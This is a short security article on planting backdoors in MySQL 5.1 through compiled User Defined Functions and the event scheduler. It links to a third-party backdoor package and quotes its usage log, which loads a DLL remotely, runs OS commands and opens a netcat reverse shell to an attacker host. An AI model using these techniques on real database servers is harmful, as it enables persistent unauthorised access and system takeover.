Backdoors for Mysql by Vicente Díaz (vdiaz@edge-security.com)

This document explores the possibility of creating backdoors for the last version of Mysql (5.1) using the same techniques present in other RDBMs like Oracle and SQLServer 2005.

Oracle and SQLServer backdoors are based on creating procedures or jobs through scripting code (like Java or VBScript) and running them in the job scheduler or sql agent. This code would create a connection with the attacker machine and wait for orders. Depending on the privileges, it may be possible to interact with the operating system, appart than with the database.

Ok, this are the basis, let¬¥s see what do we have in Mysql to prepare something similar.
From Mysql 5 on, there is an scheduler available similar to SQLAgent and job scheduler in Oracle, so it seems we have something to run our scripting code once ready. However, it is not activated by default, but we can assume to execute the backdoor using a privileged account, so this is not a big deal.

Mysql allows the creation of procedures and functions, but there is no scripting language available, so they are limited to SQL sentences along with basic loops and conditions. Even access to writing and reading from disk for saving results and reading files, is limited. It seems we cannot go too far this way ...

However, Mysql implements an additional functionality very convenient to us: UDF (User Defined Functions). This allows the definition of user functions and implement them in C++, compile them and use them from Mysql as any other function of the database. It is not necessary to recompile the full database code, as these functions are dinamically loaded from the plugin directory (since 5.1 version) and may be used from the database normally. This is the feature we were looking for.

Even better, Raptor (deadbeef) coded a backdoor taking advantage of this for Windows:

http://www.0xdeadbeef.info/exploits/raptor_winudf.tgz

A backdoor using this techinque is difficult to hide, as the compiled code should exist in the plugin directory. Also, the backdoor privileges is closely related to the privileges of the service running on the operating system: for windows, it is possible to access to the whole system.

As it is possible to code the backdoor using C++ allows to create a reverse shell, so in Raptor¬¥s backdoor it is implemented netcat functionality and operating system command execution. Also, allows to load all the compiled code through SQL commands, as it was a payload, so it is possible to infect the system through a remote connection.

We can see an example from Raptor¬¥s code:

```
-- Usage example:
-- # mysql -h 192.168.0.203 < raptor_winudf.sql
-- # mysql -h 192.168.0.203
-- mysql> select * from mysql.func;
-- +--------+-----+------------+----------+
-- | name   | ret | dl         | type     |
-- +--------+-----+------------+----------+
-- | netcat |   2 | winudf.dll | function |
-- | exec   |   2 | winudf.dll | function |
-- +--------+-----+------------+----------+
-- 2 rows in set (0.00 sec)
-- mysql> select exec('echo foo > c:\\bar.txt');
-- mysql> select netcat('192.168.0.147');
--
-- [on the attacker's host]
-- # nc -l -p 80
-- [...]
-- Microsoft Windows XP [Versione 5.1.2600]
-- (C) Copyright 1985-2001 Microsoft Corp.
-- [...]
-- C:\mysql\data>type c:\bar.txt
-- foo
```